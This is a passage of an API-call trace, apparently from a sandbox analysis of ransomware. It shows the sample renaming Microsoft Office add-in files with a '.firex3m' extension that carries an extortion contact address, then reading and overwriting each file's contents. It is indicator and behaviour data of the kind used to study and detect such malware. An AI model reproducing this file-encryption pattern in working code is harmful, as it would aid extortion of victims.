lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2422c238, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f79b, dwReserved0=0x9a87496, dwReserved1=0x706d6a8, cFileName="PSRCHKEY.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHK~1.FIR")) returned 0x6d4ec0 [0158.027] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0158.027] Sleep (dwMilliseconds=0x1) [0161.449] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml", len=0x69 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml") returned 1 [0161.449] GetProcessHeap () returned 0x630000 [0161.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc0) returned 0x707d3d0 [0161.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0161.449] CloseHandle (hObject=0x694) returned 1 [0161.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110e, dwReserved0=0x610074, dwReserved1=0x740063, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d54c0 [0161.451] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0161.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0161.451] GetProcessHeap () returned 0x630000 [0161.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x714508 [0161.451] GetProcessHeap () returned 0x630000 [0161.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x722a78 [0161.451] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.451] ReadFile (in: hFile=0x694, lpBuffer=0x714508, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x687ff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.469] GetProcessHeap () returned 0x630000 [0161.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0161.469] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.469] WriteFile (in: hFile=0x694, lpBuffer=0x722a78*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesWritten=0x687ff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.469] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.470] WriteFile (in: hFile=0x694, lpBuffer=0x723b77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b77*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.470] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.470] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.470] CloseHandle (hObject=0x694) returned 1 [0161.470] GetProcessHeap () returned 0x630000 [0161.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.470] GetProcessHeap () returned 0x630000 [0161.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0161.470] GetProcessHeap () returned 0x630000 [0161.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0161.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2631aaa5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1132, dwReserved0=0x9a87496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0161.470] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0161.470] Sleep (dwMilliseconds=0x1) [0161.485] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll") returned 1 [0161.485] GetProcessHeap () returned 0x630000 [0161.485] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc0) returned 0x707d3d0 [0161.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0161.488] CloseHandle (hObject=0x6d4) returned 1 [0161.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0161.496] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0161.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1025\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0161.496] GetProcessHeap () returned 0x630000 [0161.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7333838 [0161.496] GetProcessHeap () returned 0x630000 [0161.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733ec68 [0161.496] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.496] ReadFile (in: hFile=0x6d4, lpBuffer=0x7333838, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333838*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.756] GetProcessHeap () returned 0x630000 [0166.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0166.757] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.757] WriteFile (in: hFile=0x6d4, lpBuffer=0x733ec68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec68*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.757] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.757] WriteFile (in: hFile=0x6d4, lpBuffer=0x734a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a067*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.757] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.757] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.757] CloseHandle (hObject=0x6d4) returned 1 [0166.757] GetProcessHeap () returned 0x630000 [0166.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733ec68 | out: hHeap=0x630000) returned 1 [0166.757] GetProcessHeap () returned 0x630000 [0166.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333838 | out: hHeap=0x630000) returned 1 [0166.757] GetProcessHeap () returned 0x630000 [0166.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0166.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2956fde8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x110e4, dwReserved0=0x9a87496, dwReserved1=0x7333830, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0166.758] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0166.758] Sleep (dwMilliseconds=0x1) [0167.574] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap", len=0x65 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap") returned 1 [0167.574] GetProcessHeap () returned 0x630000 [0167.574] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b7c) returned 0x707d3d0 [0167.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\powerviewres.nl.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0167.575] CloseHandle (hObject=0x6a0) returned 1 [0167.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\powerviewres.nl.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\powerviewres.nl.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f5cd, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.nl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0167.576] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0167.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\nl\\powerviewres.nl.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0167.576] GetProcessHeap () returned 0x630000 [0167.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733ec68 [0167.576] GetProcessHeap () returned 0x630000 [0167.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0167.577] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.577] ReadFile (in: hFile=0x6a0, lpBuffer=0x733ec68, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec68*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.350] GetProcessHeap () returned 0x630000 [0176.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0176.351] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.351] WriteFile (in: hFile=0x6a0, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.352] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.352] WriteFile (in: hFile=0x6a0, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.556] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.556] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.556] CloseHandle (hObject=0x6a0) returned 1 [0178.556] GetProcessHeap () returned 0x630000 [0178.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0178.556] GetProcessHeap () returned 0x630000 [0178.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733ec68 | out: hHeap=0x630000) returned 1 [0178.556] GetProcessHeap () returned 0x630000 [0178.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0178.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\nl\\PowerViewRes.nl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x30613ae9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f5f1, dwReserved0=0x9a87496, dwReserved1=0x733ec60, cFileName="PowerViewRes.nl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0178.557] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0178.557] Sleep (dwMilliseconds=0x1) [0180.476] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml") returned 1 [0180.476] GetProcessHeap () returned 0x630000 [0180.476] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa4) returned 0x707d3d0 [0181.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0184.496] CloseHandle (hObject=0x648) returned 1 [0184.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1152, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0189.679] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0189.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0189.679] GetProcessHeap () returned 0x630000 [0189.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1161) returned 0x722a78 [0189.679] 